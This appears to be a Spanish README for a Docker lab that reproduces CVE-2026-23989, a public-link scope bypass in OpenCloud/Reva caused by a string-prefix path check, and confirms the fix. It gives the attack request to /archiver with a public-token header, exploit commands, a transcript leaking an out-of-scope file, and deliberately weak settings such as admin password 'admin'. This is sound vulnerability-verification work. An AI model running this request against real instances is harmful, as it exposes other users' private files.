
Laboratorio de reproducción (A/B Docker) para CVE-2026-23989 — Omisión de validación de alcance de enlace público en OpenCloud / ownCloud Infinite Scale en Reva
Un laboratorio autónomo de un solo comando que reproduce CVE-2026-23989 y demuestra que está corregido, utilizando las imágenes oficiales de Docker del proyecto upstream. Un enlace de uso público que se supone que otorga acceso a una carpeta puede ser explotado para leer archivos fuera del alcance de esa carpeta.
| CVE | CVE-2026-23989 |
| Aviso | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 Alta — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Clase | Control de acceso roto — confusión de prefijo de ruta en la validación de alcance |
| Causa raíz | Reva checkIfNestedResource usaba strings.HasPrefix para la contención de rutas |
| Afectado | OpenCloud estable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Corregido | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Divulgado | 2026-02-05 |
OpenCloud es un fork de 2025 de ownCloud Infinite Scale (OCIS), creado por ex ingenieros de ownCloud después de que Kiteworks adquiriera ownCloud. La falla reside en Reva, el backend de almacenamiento CS3 que comparten OCIS/OpenCloud y — según el aviso del proveedor — "se originó en el código base de ownCloud (Kiteworks) y se heredó cuando OpenCloud hizo el fork de OCIS." OpenCloud se usa aquí porque incluye imágenes públicas vulnerables y corregidas, fijadas y limpias que permiten una comparación A/B exacta.
internal/grpc/interceptors/auth/scope.go, función checkIfNestedResource — el
interceptor de puerta de enlace que decide si un token de enlace público puede tocar un recurso:
// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath es la ruta de la carpeta compartida (el alcance del enlace); childPath es la
ruta del recurso solicitado. El prefijo de cadena no es contención de ruta:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (un hermano, NO un hijo)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← incorrecto: acceso concedido
Así que un enlace con alcance a /Shared también alcanza cualquier recurso del mismo espacio cuya ruta
comience con la cadena /Shared — p. ej. /Shared-secret, /Shared-2024,
/Shared backup. La corrección reemplaza la prueba con filepath.Rel y rechaza cualquier
ruta relativa que comience con .. (parche completo en patch/reva-scope.go.patch).
Cada operación de puerta de enlace que lleva un token de enlace público pasa por la
verificación de alcance defectuosa, pero la primitiva de los descubridores (y la de este laboratorio) es el
servicio de archivado en GET /archiver, autenticado para un enlace público con el
encabezado public-token:. Acepta un id de recurso (?id=<fileid>), lo recorre y
transmite un zip. Apúntalo al id de un hermano con prefijo fuera de alcance y la verificación defectuosa
lo admite:
GET /archiver?id=<id-de-/Shared-secret>
public-token: <token de enlace con alcance a /Shared>
→ 200, zip de /Shared-secret (en 4.0.2)
→ 404 "gateway could not find space for ref=…" (en 4.0.3)
El atacante debe proporcionar el id de recurso del objetivo fuera de alcance. Ese
id opaco es un UUID aleatorio y no es enumerable a través del propio enlace público
(el enlace no puede listar el espacio del propietario — devuelve 401). En OCIS,
sin embargo, el oc:fileid de un recurso se expone en casi todas las respuestas WebDAV/graph,
invitaciones a compartir, notificaciones de actividad y URLs web (/f/<id>), por lo que cualquier
colaborador previo, ex destinatario de un compartido diferente o usuario interno lo tiene
habitualmente — por eso el proveedor calificó la complejidad del ataque como Baja. El
setup.sh del laboratorio obtiene el id "como la víctima" para entregarlo al paso del atacante, modelando
ese conocimiento previo realista. El path traversal (?path=../…) no es un
sustituto viable: esas rutas se resuelven relativas al compartido y se limpian (404).
"/"
y HasPrefix("/", "/Shared") es falso (el laboratorio lo confirma: archivado de la raíz del espacio → 404). Los hermanos sin prefijo como /Private también se deniegan en la
compilación vulnerable — el laboratorio lo usa como control para demostrar que el efecto es
específicamente el error de prefijo, no un fallo de autenticación general.| Archivo | Propósito |
|---|---|
docker-compose.yml | Un contenedor de OpenCloud; OC_TAG selecciona la versión vulnerable (4.0.2) o corregida (4.0.3). |
setup.sh | Siembra el escenario de víctima en el espacio del usuario demo mary y crea un enlace público sin contraseña en /Shared. Escribe state.env. |
exploit.sh | PoC del atacante. Dado el token del enlace + un id de recurso objetivo, llama al archivador e imprime cualquier byte exfiltrado. |
verify.sh | A/B de un comando: reproduce en 4.0.2, confirma la corrección en 4.0.3, imprime una matriz PASS/FAIL. |
patch/reva-scope.go.patch | La corrección exacta de una línea del upstream, anotada. |
Escenario plantado en el espacio personal de mary:
/Shared/public-note.txt ← compartido mediante el enlace público (dentro del alcance)
/Shared-secret/flag.txt ← objetivo del PoC; la ruta tiene prefijo "/Shared" (fuera del alcance)
/Private/topsecret.txt ← control; sin prefijo (fuera del alcance, permanece denegado)
Requisitos: Docker + Docker Compose, curl, python3. Descarga ~250 MB de imágenes.
./verify.sh
Salida esperada:
== Exploit + controles contra VULNERABLE 4.0.2 ==
[PASS] dentro del alcance /Shared (acceso legítimo) (fuga esperada)
[PASS] PoC: fuera del alcance /Shared-secret (fuga esperada)
[PASS] sin prefijo /Private (debe permanecer denegado) (denegación esperada)
== Exploit + control contra FIXED 4.0.3 ==
[PASS] dentro del alcance /Shared (sigue funcionando) (fuga esperada)
[PASS] PoC: fuera del alcance /Shared-secret (corregido) (denegación esperada)
== Veredicto ==
5 aprobados, 0 fallidos
CVE-2026-23989 reproducido en 4.0.2 y confirmado corregido en 4.0.3.
Par de versiones rolling en lugar de estable:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. levantar la compilación vulnerable
OC_TAG=4.0.2 docker compose up -d
# 2. sembrar el escenario de víctima (crea el enlace público, escribe state.env)
./setup.sh
# 3. ataque: filtrar el hermano fuera de alcance (lee el objetivo de state.env)
./exploit.sh # por defecto usa el id de /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # control: denegado
Transcripción real contra la compilación vulnerable (los valores de state.env varían por ejecución):
===== EXPLOIT /Shared-secret (hermano con prefijo fuera de alcance) =====
[*] Token de enlace público: UVWPXGsjlLJRYxK (alcance: una sola carpeta compartida)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] FUGA CONFIRMADA — bytes de archivo fuera de alcance exfiltrados mediante el enlace público.
===== CONTROL /Private (fuera del alcance, sin prefijo) =====
[*] HTTP 404, 249 bytes
[-] DENEGADO — el servidor rechazó: error: not found: gateway could not find space for ref=…
Confirma la corrección con los mismos datos (mismo token e ids):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # ahora → HTTP 404, DENEGADO
Desmontar:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" en el contenedor. El proveedor confirma
que esto mitiga completamente el problema (un enlace público entonces devuelve un error).docker-compose.yml debilita deliberadamente la instancia para que el PoC sea scriptable:
PROXY_ENABLE_BASIC_AUTH=true (para que curl -u/public-token funcionen sin el baile
de OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo, etc. — contraseñas públicas),
IDM_ADMIN_PASSWORD=admin, enlaces públicos sin contraseña y un certificado autofirmado
(curl -k). Ninguna de estas es la vulnerabilidad; solo la hacen observable en
una shell. La omisión en sí es independiente de ellas.
8d52003